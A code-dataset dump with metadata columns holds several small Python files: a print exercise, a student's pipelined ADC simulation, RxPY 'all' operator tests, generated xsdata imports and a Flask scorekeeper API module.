| 0.012968
| false
| 0.00072
| 0.019452
| 0
| 0.038184
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f795e2ec5fe1b0dbd9beac790e61030b6b115c3b
| 163
|
py
|
Python
|
Python/print_practice.py
|
Bozmenn/Patika
|
e3432a2398197412cbc1b44a786d10553cdf8abc
|
[
"MIT"
] | null | null | null |
Python/print_practice.py
|
Bozmenn/Patika
|
e3432a2398197412cbc1b44a786d10553cdf8abc
|
[
"MIT"
] | null | null | null |
Python/print_practice.py
|
Bozmenn/Patika
|
e3432a2398197412cbc1b44a786d10553cdf8abc
|
[
"MIT"
] | null | null | null |
print(" +",*"+"*6,sep="---")
print("",*"Python", sep=" | ",end=" |\n")
print(" +",*"+"*6,sep="---")
print(" 0",*"123456",sep=" ")
print("-6",*"54321",sep=" -")
| 32.6
| 41
| 0.398773
| 19
| 163
| 3.421053
| 0.473684
| 0.276923
| 0.276923
| 0.430769
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.10274
| 0.104294
| 163
| 5
| 42
| 32.6
| 0.342466
| 0
| 0
| 0.4
| 0
| 0
| 0.280488
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 8
|
f7984d4af11c0fbe68c524c074d728a8ddec39f2
| 15,756
|
py
|
Python
|
mxst/pipeline_EXAM.py
|
mnemocron/FHNW
|
e43c298cb9c8f617fa19b77dd6630a342c78bda7
|
[
"Unlicense"
] | 1
|
2020-10-07T07:28:33.000Z
|
2020-10-07T07:28:33.000Z
|
mxst/pipeline_EXAM.py
|
mnemocron/FHNW
|
e43c298cb9c8f617fa19b77dd6630a342c78bda7
|
[
"Unlicense"
] | null | null | null |
mxst/pipeline_EXAM.py
|
mnemocron/FHNW
|
e43c298cb9c8f617fa19b77dd6630a342c78bda7
|
[
"Unlicense"
] | 1
|
2021-01-17T16:38:58.000Z
|
2021-01-17T16:38:58.000Z
|
# -*- coding: utf-8 -*-
"""
Created on Mon Jun 29 08:58:00 2020
@author: simon
SEE EXAM in the SECTION BELOW
"""
#%%
import sympy as sp
import numpy as np
import matplotlib.pyplot as plt
# Quantizer
# quant(0.111, [-0.125, 0.125]) ==> 1 out of range[0, 1, 2]
# returns value in range [0 to n+1] where n = len(references)
def quant(x, thresholds):
t = np.concatenate( ( thresholds, [1e10] ) )
r = min( [(idx,val) for (idx,val) in enumerate(t) if val>x] )[0]
return r
# MDAC
# mdac(0.123, [-0.125, 0.125], [-0.25, 0, 0.25], 2) ==> [1, 0.246]
#
# thresholds => for quantizer
# reference => for DAC
def mdac(x, thresholds, references, gain):
# The MDAC first uses a quantizer to determine the region.
r = quant(x,thresholds)
y = ( x - references[r] ) * gain
return [r,y]
# pipeline ADC
def pipeA(x, Nstage):
re15 = np.arange( -1/4, 1/4+0.01, 1/4 )
th15 = np.convolve( re15, np.array([1/2,1/2]) )[1:-1]
ga15 = 2
xs = np.zeros(Nstage)
xs[0] = x
rs = np.zeros(Nstage)
cumgain = 1
# All but the last stage are 1.5-bit-stages:
for k in np.arange(Nstage-1):
# Use the appropriate MDAC:
[rs[k],xs[k+1]] = mdac(xs[k],th15,re15,ga15)
# The cumulative gain is multiplied by the gain of the stage:
cumgain *= 2
# The region is then scaled by 1/cumgain; therefore the first stage
# just ouputs its region number divided by its gain.
rs[k] = rs[k]/cumgain
# The last stage is a normal 1-bit stage with a gain of 1
k=Nstage-1
rs[k] = quant(xs[k],[0])
cumgain = cumgain*1
rs[k] = rs[k]/cumgain
# The output of the ADC is the sum of all region numbers, but if we want
# integers, they need to be scaled back by cumgain.
b = np.sum(rs)*cumgain
return b
# 1.5 Bit
def pipeAnonid(x, Nstage):
# This is the same as pipeA, but with an incorrect gain and a shifted
# reference:
re15 = np.arange( -1/4, 1/4+0.01, 1/4 )
th15 = np.convolve( re15, np.array([1/2,1/2]) )[1:-1]
# ------ INPUT HERE ------
ga15 = 1.98
re15[0] = re15[0]-0.01
# ------
xs = np.zeros(Nstage)
xs[0] = x
rs = np.zeros(Nstage)
cumgain = 1
for k in np.arange(Nstage-1):
[rs[k],xs[k+1]] = mdac(xs[k],th15,re15,ga15)
cumgain *= 2
rs[k] = rs[k]/cumgain
# last stage
k=Nstage-1
rs[k] = quant(xs[k],[0])
cumgain = cumgain*1
rs[k] = rs[k]/cumgain
# output scale
b = np.sum(rs)*cumgain
return b
# 1.5 Bit
def pipe1721(x,Nstage):
# This is the ADC from Fig. 17.21 in the textbook; the only difference is that
# the last stage is a two-bit quantizer
re15 = np.arange( -1/4, 1/4+0.01, 1/4 )
th15 = np.convolve( re15, np.array([1/2,1/2]) )[1:-1]
ga15 = 2
xs = np.zeros(Nstage)
xs[0] = x
rs = np.zeros(Nstage)
cumgain = 1
for k in np.arange(Nstage-1):
[rs[k],xs[k+1]] = mdac(xs[k],th15,re15,ga15)
cumgain *= 2
rs[k] = rs[k]/cumgain
k=Nstage-1
# The last stage is a two-bit stage.
# This two-bit stage needs to have one threshold at 0!
# Being a two-bit stage, it implicitly has a gain of 2
rs[k] = quant(xs[k],[-0.5,0,0.5])
cumgain = cumgain*2
rs[k] = rs[k]/cumgain
# output scale
b = np.sum(rs)*cumgain
return b
# 1.5 Bit - Nonideal
def pipe1721nonid(x,Nstage):
# This is the ADC from Fig. 17.21 in the textbook; the only difference is that
# the last stage is a two-bit quantizer
re15 = np.arange( -1/4, 1/4+0.01, 1/4 )
th15 = np.convolve( re15, np.array([1/2,1/2]) )[1:-1]
# ------ INPUT HERE ------
ga15 = 1.98
re15[0] = re15[0]-0.01
# ------
xs = np.zeros(Nstage)
xs[0] = x
rs = np.zeros(Nstage)
cumgain = 1
for k in np.arange(Nstage-1):
[rs[k],xs[k+1]] = mdac(xs[k],th15,re15,ga15)
cumgain *= 2
rs[k] = rs[k]/cumgain
k=Nstage-1
# The last stage is a two-bit stage.
# This two-bit stage needs to have one threshold at 0!
# Being a two-bit stage, it implicitly has a gain of 2
rs[k] = quant(xs[k],[-0.5,0,0.5])
cumgain = cumgain*2
rs[k] = rs[k]/cumgain
# output scale
b = np.sum(rs)*cumgain
return b
# 2.5 Bit Stages followed by 1.5 Bit Stages and a final 1 Bit stage
def pipe25b15b(x,N25,N15):
# This is again the same as pipeA, but it has N25 2.5-bit stages followed
# by N15 1.5-bit stages and one 1-bit stage.
re15 = np.arange( -1/4, 1/4+0.01, 1/4 )
th15 = np.convolve( re15, np.array([1/2,1/2]) )[1:-1]
ga15 = 2
# So we also need the thresholds and gains of the 2.5-bit MDAC:
re25 = np.arange( -6/16, 6/16+0.01, 1/8 )
th25 = np.convolve( re25, np.array([1/2,1/2]) )[1:-1]
ga25 = 4
# The total number of stages is now
Nstage = N25+N15+1
xs = np.zeros(Nstage)
xs[0] = x
rs = np.zeros(Nstage)
cumgain = 1
# First the 2.5-bit stages.
for k in np.arange(N25):
[rs[k],xs[k+1]] = mdac(xs[k],th25,re25,ga25)
cumgain *= 4
rs[k] = rs[k]/cumgain
# Then the 1.5-bit stages: their indices go from N25 to Nstage-1:
for k in np.arange(N25,Nstage-1):
[rs[k],xs[k+1]] = mdac(xs[k],th15,re15,ga15)
cumgain *= 2
rs[k] = rs[k]/cumgain
# We finish with the one-bit stage
k=Nstage-1
rs[k] = quant(xs[k],[0])
cumgain = cumgain*1
rs[k] = rs[k]/cumgain
# output scale
b = np.sum(rs)*cumgain
return b
# 2.5 Bit Stages followed by a final 1 Bit stage
def pipe25b(x,N25):
# So we also need the thresholds and gains of the 2.5-bit MDAC:
re25 = np.arange( -6/16, 6/16+0.01, 1/8 )
th25 = np.convolve( re25, np.array([1/2,1/2]) )[1:-1]
ga25 = 4
# The total number of stages is now
Nstage = N25+1
xs = np.zeros(Nstage)
xs[0] = x
rs = np.zeros(Nstage)
cumgain = 1
# First the 2.5-bit stages.
for k in np.arange(N25):
[rs[k],xs[k+1]] = mdac(xs[k],th25,re25,ga25)
cumgain *= 4
rs[k] = rs[k]/cumgain
# We finish with the one-bit stage
k=Nstage-1
rs[k] = quant(xs[k],[0])
cumgain = cumgain*1
rs[k] = rs[k]/cumgain
# output scale
b = np.sum(rs)*cumgain
return b
# 2.5 Bit Stages followed by a final 1 Bit stage
def pipe25bNonid(x,N25):
eps = 0.07 # comparator offset
# So we also need the thresholds and gains of the 2.5-bit MDAC:
re25 = np.arange( -6/16, 6/16+0.01, 1/8 )
th25 = np.convolve( re25, np.array([1/2,1/2]) )[1:-1]
ga25 = 4.0
th25 = th25 + eps
# The total number of stages is now
Nstage = N25+1
xs = np.zeros(Nstage)
xs[0] = x
rs = np.zeros(Nstage)
cumgain = 1
# First the 2.5-bit stages.
for k in np.arange(N25):
[rs[k],xs[k+1]] = mdac(xs[k],th25,re25,ga25)
cumgain *= 4
rs[k] = rs[k]/cumgain
# We finish with the one-bit stage
k=Nstage-1
rs[k] = quant(xs[k],[0])
cumgain = cumgain*1
rs[k] = rs[k]/cumgain
# output scale
b = np.sum(rs)*cumgain
return b
# 2.5 Bit Stages followed by a final 1 Bit stage
# Nonid - by Simon
def pipe25bNonid_vs(x,N25, offset):
eps = offset # threshold offset
re25 = np.arange( -6/16, 6/16+0.01, 1/8 )
th25 = np.convolve( re25, np.array([1/2,1/2]) )[1:-1]
ga25 = 4.0
# ------ INPUT HERE ------
th25[3] = th25[3] + eps
# ------
# The total number of stages is now
Nstage = N25+1
xs = np.zeros(Nstage)
xs[0] = x
rs = np.zeros(Nstage)
cumgain = 1
# First the 2.5-bit stages.
for k in np.arange(N25):
[rs[k],xs[k+1]] = mdac(xs[k],th25,re25,ga25)
cumgain *= 4
rs[k] = rs[k]/cumgain
# We finish with the one-bit stage
k=Nstage-1
rs[k] = quant(xs[k],[0])
cumgain = cumgain*1
rs[k] = rs[k]/cumgain
# output scale
b = np.sum(rs)*cumgain
return b
# DAC
# dacA(0, 16) = -0.49999237060546875
# dacA(0, 2**16-1) = 0.5
def dacA(b, Nbit):
# This is the correct DAC for an ideal Nbit ADC
# The full range is 2**Nbit steps, 0 is -0.5+LSB/2, 15 is +0.5-LSB/2, so:
y = -0.5 + b/2**Nbit + 1/2**(Nbit+1)
return y
def pipe35(x, Nstage):
re35 = np.arange( -14/32 , 14/32+0.01, 1/16 )
th35 = np.convolve(re35, np.array([1/2,1/2]) )[1:-1]
ga35 = 8
xs = np.zeros(Nstage)
xs[0] = x
rs = np.zeros(Nstage)
cumgain = 1
# All but the last stage are 1.5-bit-stages:
for k in np.arange(Nstage-1):
# Use the appropriate MDAC:
[rs[k],xs[k+1]] = mdac(xs[k],th35,re35,ga35)
# The cumulative gain is multiplied by the gain of the stage:
cumgain *= 8
# The region is then scaled by 1/cumgain; therefore the first stage
# just ouputs its region number divided by its gain.
rs[k] = rs[k]/cumgain
# The last stage is a normal 1-bit stage with a gain of 1
k=Nstage-1
rs[k] = quant(xs[k],[0])
cumgain = cumgain*1
rs[k] = rs[k]/cumgain
# The output of the ADC is the sum of all region numbers, but if we want
# integers, they need to be scaled back by cumgain.
b = np.sum(rs)*cumgain
return b
def pipe35Nonid(x, Nstage):
re35 = np.arange( -14/32 , 14/32+0.01, 1/16 )
th35 = np.convolve(re35, np.array([1/2,1/2]) )[1:-1]
ga35 = 8
th35[4] += 1/32*1.1
xs = np.zeros(Nstage)
xs[0] = x
rs = np.zeros(Nstage)
cumgain = 1
# All but the last stage are 1.5-bit-stages:
for k in np.arange(Nstage-1):
# Use the appropriate MDAC:
[rs[k],xs[k+1]] = mdac(xs[k],th35,re35,ga35)
# The cumulative gain is multiplied by the gain of the stage:
cumgain *= 8
# The region is then scaled by 1/cumgain; therefore the first stage
# just ouputs its region number divided by its gain.
rs[k] = rs[k]/cumgain
# The last stage is a normal 1-bit stage with a gain of 1
k=Nstage-1
rs[k] = quant(xs[k],[0])
cumgain = cumgain*1
rs[k] = rs[k]/cumgain
# The output of the ADC is the sum of all region numbers, but if we want
# integers, they need to be scaled back by cumgain.
b = np.sum(rs)*cumgain
return b
#%% EXAM QUESTIONS BELOW
#%%
# Test 3.5Bit MDAC
eps = 0.04 # comparator offset
re35 = np.arange( -14/32 , 14/32+0.01, 1/16 )
th35 = np.convolve(re35, np.array([1/2,1/2]) )[1:-1]
ga35 = 8
vi = np.arange(0,1.0001,0.0001)-0.5
mo = np.array( [ mdac(x,th35,re35,ga35) for x in vi] )
fig,ax1 = plt.subplots()
pcolor = 'tab:red'
ax1.set_title('Figure 17.20 - a 1.5-bit pipelined converter stage')
ax1.set_xlabel('MDAC input voltage')
ax1.set_ylabel('MDAC digital value', color=pcolor)
ax1.plot(vi, mo[:,0], color=pcolor)
ax1.tick_params(axis='y', labelcolor=pcolor)
ax1.grid(axis='x')
ax2 = ax1.twinx()
pcolor = 'tab:blue'
ax2.set_ylabel('MDAC output voltage', color=pcolor) # we already handled the x-label with ax1
ax2.plot(vi, mo[:,1], color=pcolor)
ax2.tick_params(axis='y', labelcolor=pcolor)
ax2.grid()
fig.tight_layout() # otherwise the right y-label is slightly clipped
plt.show()
#%%
# Test 3.5Bit MDAC - NONIDEAL - with offset
offs = 2/32*0.9 # comparator offset
# 10% less offset has still a monotonic behaviour
offs = 2/32
# 2/32 offset produces missing codes <== Indicator for offset too large
re35 = np.arange( -14/32 , 14/32+0.01, 1/16 )
th35 = np.convolve(re35, np.array([1/2,1/2]) )[1:-1]
ga35 = 8
th35[5] = th35[5] + offs
vi = np.arange(0,1.0001,0.0001)-0.5
mo = np.array( [ mdac(x,th35,re35,ga35) for x in vi] )
fig,ax1 = plt.subplots()
pcolor = 'tab:red'
ax1.set_title('Figure 17.20 - a 1.5-bit pipelined converter stage')
ax1.set_xlabel('MDAC input voltage')
ax1.set_ylabel('MDAC digital value', color=pcolor)
ax1.plot(vi, mo[:,0], color=pcolor)
ax1.tick_params(axis='y', labelcolor=pcolor)
ax1.grid(axis='x')
ax2 = ax1.twinx()
pcolor = 'tab:blue'
ax2.set_ylabel('MDAC output voltage', color=pcolor) # we already handled the x-label with ax1
ax2.plot(vi, mo[:,1], color=pcolor)
ax2.tick_params(axis='y', labelcolor=pcolor)
ax2.grid()
fig.tight_layout() # otherwise the right y-label is slightly clipped
plt.show()
#%%
# compare 3.5 bit ADC with one that has offset
# does not work. some gain is wrong
Nbits = 13
Nstages = 4
vi = np.arange(0,1.0001,0.0001)-0.5
ro = np.array([ pipe35(x,Nstages) for x in vi ])
vo = np.array( [ dacA(b,Nbits) for b in ro ] )
roni = np.array([ pipe35Nonid(x,Nstages) for x in vi ])
voni = np.array( [ dacA(b,Nbits) for b in roni ] )
# Diagnostic output
print('This is a %d-bit converter.'%(Nbits))
print('The five smallest an five largest numbers in the output vector are:')
print(np.unique(ro)[[0,1,2,3,4,-5,-4,-3,-2,-1]] )
print('If all is well, these numbers should be bounded by',([0,2**Nbits-1]))
print(np.unique(roni)[[0,1,2,3,4,-5,-4,-3,-2,-1]] )
print('If all is well, these numbers should be bounded by',([0,2**Nbits-1]))
fig,ax1 = plt.subplots()
pcolor = 'tab:orange'
ax1.plot(vi, vo, color=pcolor)
pcolor = 'tab:red'
ax1.set_xlabel('ADC input voltage')
ax1.set_ylabel('ADC input and DAC ouput voltage', color=pcolor)
ax1.plot(vi, vi, color=pcolor)
ax1.plot(vi, voni, color=pcolor)
ax1.tick_params(axis='y', labelcolor=pcolor)
ax2 = ax1.twinx()
pcolor = 'tab:cyan'
ax2.plot(vi, (voni-vi)*2**Nbits, color=pcolor)
pcolor = 'tab:blue'
ax2.set_ylabel('Quantization error in LSB', color=pcolor) # we already handled the x-label with ax1
ax2.plot(vi, (voni-vi)*2**Nbits, color=pcolor)
ax2.tick_params(axis='y', labelcolor=pcolor)
ax2.set_ylim(-8,8)
plt.grid()
fig.tight_layout() # otherwise the right y-label is slightly clipped
plt.show()
#%%
# use 6 x 2.5bit instead
# I still don't see anything happening even with large offsets
# plotting wrong?
offset = 8/16
Nbits = 13 # only odd numbers
N25 = int((Nbits-1)/2)
vi = np.arange(0,1.0001,0.0001)-0.5
ro25 = np.array( [ pipe25b(x,N25) for x in vi ] )
vo25 = np.array( [ dacA(b,Nbits) for b in ro25 ] )
# NONIDEAL
ro25ni = np.array( [ pipe25bNonid_vs(x,N25,offset) for x in vi ] )
vo25ni = np.array( [ dacA(b,Nbits) for b in ro25 ] )
# Diagnostic output
print('This is a %d-bit converter.'%(Nbits))
print('The five smallest an five largest numbers in the output vector are:')
print(np.unique(ro25)[[0,1,2,3,4,-5,-4,-3,-2,-1]] )
print('If all is well, these numbers should be bounded by',([0,2**Nbits-1]))
print(np.unique(ro25ni)[[0,1,2,3,4,-5,-4,-3,-2,-1]] )
print('If all is well, these numbers should be bounded by',([0,2**Nbits-1]))
fig,ax1 = plt.subplots()
pcolor = 'tab:orange'
ax1.plot(vi, vo25, color=pcolor)
pcolor = 'tab:red'
ax1.set_xlabel('ADC input voltage')
ax1.set_ylabel('ADC input and DAC ouput voltage', color=pcolor)
ax1.plot(vi, vi, color=pcolor)
ax1.plot(vi, vo25ni, color=pcolor)
ax1.tick_params(axis='y', labelcolor=pcolor)
ax2 = ax1.twinx()
pcolor = 'tab:cyan'
ax2.plot(vi, (vo25ni-vi)*2**Nbits, color=pcolor)
pcolor = 'tab:blue'
ax2.set_ylabel('Quantization error in LSB', color=pcolor) # we already handled the x-label with ax1
ax2.plot(vi, (vo25ni-vi)*2**Nbits, color=pcolor)
ax2.tick_params(axis='y', labelcolor=pcolor)
ax2.set_ylim(-8,8)
plt.grid()
| 29.560976
| 101
| 0.585047
| 2,748
| 15,756
| 3.343886
| 0.109898
| 0.020568
| 0.008488
| 0.013712
| 0.830449
| 0.815323
| 0.805637
| 0.805637
| 0.800631
| 0.792578
| 0
| 0.09026
| 0.261678
| 15,756
| 532
| 102
| 29.616541
| 0.699648
| 0.289477
| 0
| 0.832817
| 0
| 0
| 0.080737
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.040248
| false
| 0
| 0.009288
| 0
| 0.089783
| 0.037152
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
e3b8c22d44396d59766dad36587a7e812798f12d
| 3,554
|
py
|
Python
|
tests/test_observable/test_all.py
|
AlexMost/RxPY
|
05cb14c72806dc41e243789c05f498dede11cebd
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
tests/test_observable/test_all.py
|
AlexMost/RxPY
|
05cb14c72806dc41e243789c05f498dede11cebd
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
tests/test_observable/test_all.py
|
AlexMost/RxPY
|
05cb14c72806dc41e243789c05f498dede11cebd
|
[
"ECL-2.0",
"Apache-2.0"
] | 1
|
2021-11-04T11:13:49.000Z
|
2021-11-04T11:13:49.000Z
|
import unittest
from rx import Observable
from rx.testing import TestScheduler, ReactiveTest, is_prime, MockDisposable
from rx.disposables import Disposable, SerialDisposable
on_next = ReactiveTest.on_next
on_completed = ReactiveTest.on_completed
on_error = ReactiveTest.on_error
subscribe = ReactiveTest.subscribe
subscribed = ReactiveTest.subscribed
disposed = ReactiveTest.disposed
created = ReactiveTest.created
class TestAll(unittest.TestCase):
def test_all_empty(self):
scheduler = TestScheduler()
msgs = [on_next(150, 1), on_completed(250)]
xs = scheduler.create_hot_observable(msgs)
def create():
return xs.all(lambda x: x > 0)
res = scheduler.start(create=create).messages
res.assert_equal(on_next(250, True), on_completed(250))
def test_all_return(self):
scheduler = TestScheduler()
msgs = [on_next(150, 1), on_next(210, 2), on_completed(250)]
xs = scheduler.create_hot_observable(msgs)
def create():
return xs.all(lambda x: x > 0)
res = scheduler.start(create=create).messages
res.assert_equal(on_next(250, True), on_completed(250))
def test_all_return_not_match(self):
scheduler = TestScheduler()
msgs = [on_next(150, 1), on_next(210, -2), on_completed(250)]
xs = scheduler.create_hot_observable(msgs)
def create():
return xs.all(lambda x: x > 0)
res = scheduler.start(create=create).messages
res.assert_equal(on_next(210, False), on_completed(210))
def test_all_some_none_match(self):
scheduler = TestScheduler()
msgs = [on_next(150, 1), on_next(210, -2), on_next(220, -3), on_next(230, -4), on_completed(250)]
xs = scheduler.create_hot_observable(msgs)
def create():
return xs.all(lambda x: x > 0)
res = scheduler.start(create=create).messages
res.assert_equal(on_next(210, False), on_completed(210))
def test_all_some_match(self):
scheduler = TestScheduler()
msgs = [on_next(150, 1), on_next(210, -2), on_next(220, 3), on_next(230, -4), on_completed(250)]
xs = scheduler.create_hot_observable(msgs)
def create():
return xs.all(lambda x: x > 0)
res = scheduler.start(create=create).messages
res.assert_equal(on_next(210, False), on_completed(210))
def test_all_some_all_match(self):
scheduler = TestScheduler()
msgs = [on_next(150, 1), on_next(210, 2), on_next(220, 3), on_next(230, 4), on_completed(250)]
xs = scheduler.create_hot_observable(msgs)
def create():
return xs.all(lambda x: x > 0)
res = scheduler.start(create=create).messages
res.assert_equal(on_next(250, True), on_completed(250))
def test_all_throw(self):
ex = 'ex'
scheduler = TestScheduler()
msgs = [on_next(150, 1), on_error(210, ex)]
xs = scheduler.create_hot_observable(msgs)
def create():
return xs.all(lambda x: x > 0)
res = scheduler.start(create=create).messages
res.assert_equal(on_error(210, ex))
def test_all_never(self):
scheduler = TestScheduler()
msgs = [on_next(150, 1)]
xs = scheduler.create_hot_observable(msgs)
def create():
return xs.all(lambda x: x > 0)
res = scheduler.start(create=create).messages
res.assert_equal()
if __name__ == '__main__':
unittest.main()
| 33.214953
| 105
| 0.638436
| 466
| 3,554
| 4.652361
| 0.139485
| 0.074723
| 0.058118
| 0.103321
| 0.781827
| 0.781827
| 0.781827
| 0.781827
| 0.745849
| 0.727399
| 0
| 0.053751
| 0.246201
| 3,554
| 106
| 106
| 33.528302
| 0.755506
| 0
| 0
| 0.582278
| 0
| 0
| 0.002814
| 0
| 0
| 0
| 0
| 0
| 0.101266
| 1
| 0.202532
| false
| 0
| 0.050633
| 0.101266
| 0.367089
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
|
0
| 7
|
e3bb3c7fac52962f533b00e0bb98e0dbede9fc8c
| 216
|
py
|
Python
|
output/models/ms_data/element/test115044_3_xsd/__init__.py
|
tefra/xsdata-w3c-tests
|
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
|
[
"MIT"
] | 1
|
2021-08-14T17:59:21.000Z
|
2021-08-14T17:59:21.000Z
|
output/models/ms_data/element/test115044_3_xsd/__init__.py
|
tefra/xsdata-w3c-tests
|
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
|
[
"MIT"
] | 4
|
2020-02-12T21:30:44.000Z
|
2020-04-15T20:06:46.000Z
|
output/models/ms_data/element/test115044_3_xsd/__init__.py
|
tefra/xsdata-w3c-tests
|
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
|
[
"MIT"
] | null | null | null |
from output.models.ms_data.element.test115044_3_xsd.test115044_3 import (
E,
Root,
)
from output.models.ms_data.element.test115044_3_xsd.test115044_inc import E1
__all__ = [
"E",
"Root",
"E1",
]
| 18
| 76
| 0.699074
| 31
| 216
| 4.483871
| 0.483871
| 0.23741
| 0.230216
| 0.258993
| 0.76259
| 0.76259
| 0.76259
| 0.76259
| 0.76259
| 0.76259
| 0
| 0.163842
| 0.180556
| 216
| 11
| 77
| 19.636364
| 0.621469
| 0
| 0
| 0
| 0
| 0
| 0.032407
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.2
| 0
| 0.2
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
e3be5581ec2214f95ec25af326673e0029519d74
| 6,617
|
py
|
Python
|
resources/scorekeepers.py
|
questionlp/api.wwdt.me
|
38dc0a471f176969913b17f3c87c22745078c196
|
[
"Apache-2.0"
] | 3
|
2019-07-24T20:06:52.000Z
|
2019-11-13T04:13:01.000Z
|
resources/scorekeepers.py
|
questionlp/api.wwdt.me
|
38dc0a471f176969913b17f3c87c22745078c196
|
[
"Apache-2.0"
] | 2
|
2021-03-20T15:23:21.000Z
|
2021-05-15T21:55:11.000Z
|
resources/scorekeepers.py
|
questionlp/api.wwdt.me
|
38dc0a471f176969913b17f3c87c22745078c196
|
[
"Apache-2.0"
] | null | null | null |
# -*- coding: utf-8 -*-
# Copyright (c) 2018-2019 Linh Pham
# wwdtm is relased under the terms of the Apache License 2.0
"""This module provides functions that handle the API endpoint requests
for /scorekeepers"""
import mysql.connector
from mysql.connector.errors import DatabaseError, ProgrammingError
from flask import Flask, jsonify, abort, make_response, request
from .dicts import error_dict, fail_dict, success_dict
from wwdtm.scorekeeper import details, info
def get_scorekeepers(database_connection: mysql.connector.connect):
"""Retrieve a list of scoreekeepers and their corresponding
information"""
try:
database_connection.reconnect()
scorekeepers = info.retrieve_all(database_connection)
if not scorekeepers:
response = fail_dict("scorekeepers", "No scorekeepers found")
return jsonify(response), 404
return jsonify(success_dict("scorekeepers", scorekeepers)), 200
except ProgrammingError:
response = error_dict("Unable to retrieve scorekeepers from the "
"database")
return jsonify(response), 500
except DatabaseError:
response = error_dict("Database error occurred while retrieving "
"scorekeepers from the database")
return jsonify(response), 500
except:
abort(500)
def get_scorekeeper_by_id(scorekeeper_id: int,
database_connection: mysql.connector.connect):
"""Retrieve a scorekeeper based on their ID"""
try:
database_connection.reconnect()
scorekeeper_info = info.retrieve_by_id(scorekeeper_id, database_connection)
if not scorekeeper_info:
message = "Scorekeeper ID {} not found".format(scorekeeper_id)
response = fail_dict("scorekeeper", message)
return jsonify(response), 404
return jsonify(success_dict("scorekeeper", scorekeeper_info)), 200
except ProgrammingError:
response = error_dict("Unable to retrieve scorekeeper information "
"from the database")
return jsonify(response), 500
except DatabaseError:
response = error_dict("Database error occurred while retrieving "
"scorekeeper information")
return jsonify(response), 500
except:
abort(500)
def get_scorekeeper_details_by_id(scorekeeper_id: int,
database_connection: mysql.connector.connect):
"""Retrieve a scorekeeper and their appearance data based on their
ID"""
try:
database_connection.reconnect()
scorekeeper_details = details.retrieve_by_id(scorekeeper_id,
database_connection)
if not scorekeeper_details:
message = "Scorekeeper ID {} not found".format(scorekeeper_id)
response = fail_dict("scorekeeper", message)
return jsonify(response), 404
return jsonify(success_dict("scorekeeper", scorekeeper_details)), 200
except ProgrammingError:
response = error_dict("Unable to retrieve scorekeeper information "
"from the database")
return jsonify(response), 500
except DatabaseError:
response = error_dict("Database error occurred while retrieving "
"scorekeeper information")
return jsonify(response), 500
except:
abort(500)
def get_scorekeeper_details(database_connection: mysql.connector.connect):
"""Retrieve a list of scorekeeper and their corresponding
appearances"""
try:
database_connection.reconnect()
scorekeeper_details = details.retrieve_all(database_connection)
if not details:
response = fail_dict("scorekeepers", "No scorekeepers found")
return jsonify(response), 404
return jsonify(success_dict("scorekeepers", scorekeeper_details)), 200
except ProgrammingError:
response = error_dict("Unable to retrieve scorekeepers from the "
"database")
return jsonify(response), 500
except DatabaseError:
response = error_dict("Database error occurred while retrieving "
"scorekeepers from database")
return jsonify(response), 500
except:
abort(500)
def get_scorekeeper_by_slug(scorekeeper_slug: str,
database_connection: mysql.connector.connect):
"""Retrieve a scorekeeper based on their slug"""
try:
database_connection.reconnect()
scorekeeper_info = info.retrieve_by_slug(scorekeeper_slug,
database_connection)
if not scorekeeper_info:
message = "Scorekeeper slug '{}' not found".format(scorekeeper_slug)
response = fail_dict("scorekeeper", message)
return jsonify(response), 404
return jsonify(success_dict("scorekeeper", scorekeeper_info)), 200
except ProgrammingError:
response = error_dict("Unable to retrieve scorekeeper information "
"from the database")
return jsonify(response), 500
except DatabaseError:
response = error_dict("Database error occurred while retrieving "
"scorekeeper information")
return jsonify(response), 500
except:
abort(500)
def get_scorekeeper_details_by_slug(scorekeeper_slug: str,
database_connection: mysql.connector.connect):
"""Retrieve a scorekeeper and their appearance data based on their
slug"""
try:
database_connection.reconnect()
scorekeeper_details = details.retrieve_by_slug(scorekeeper_slug,
database_connection)
if not scorekeeper_details:
message = "Scorekeeper slug '{}' not found".format(scorekeeper_slug)
response = fail_dict("scorekeeper", message)
return jsonify(response), 404
return jsonify(success_dict("scorekeeper", scorekeeper_details)), 200
except ProgrammingError:
response = error_dict("Unable to retrieve scorekeeper information "
"from the database")
return jsonify(response), 500
except DatabaseError:
response = error_dict("Database error occurred while retrieving "
"scorekeeper information")
return jsonify(response), 500
except:
abort(500)
| 42.967532
| 83
| 0.641832
| 645
| 6,617
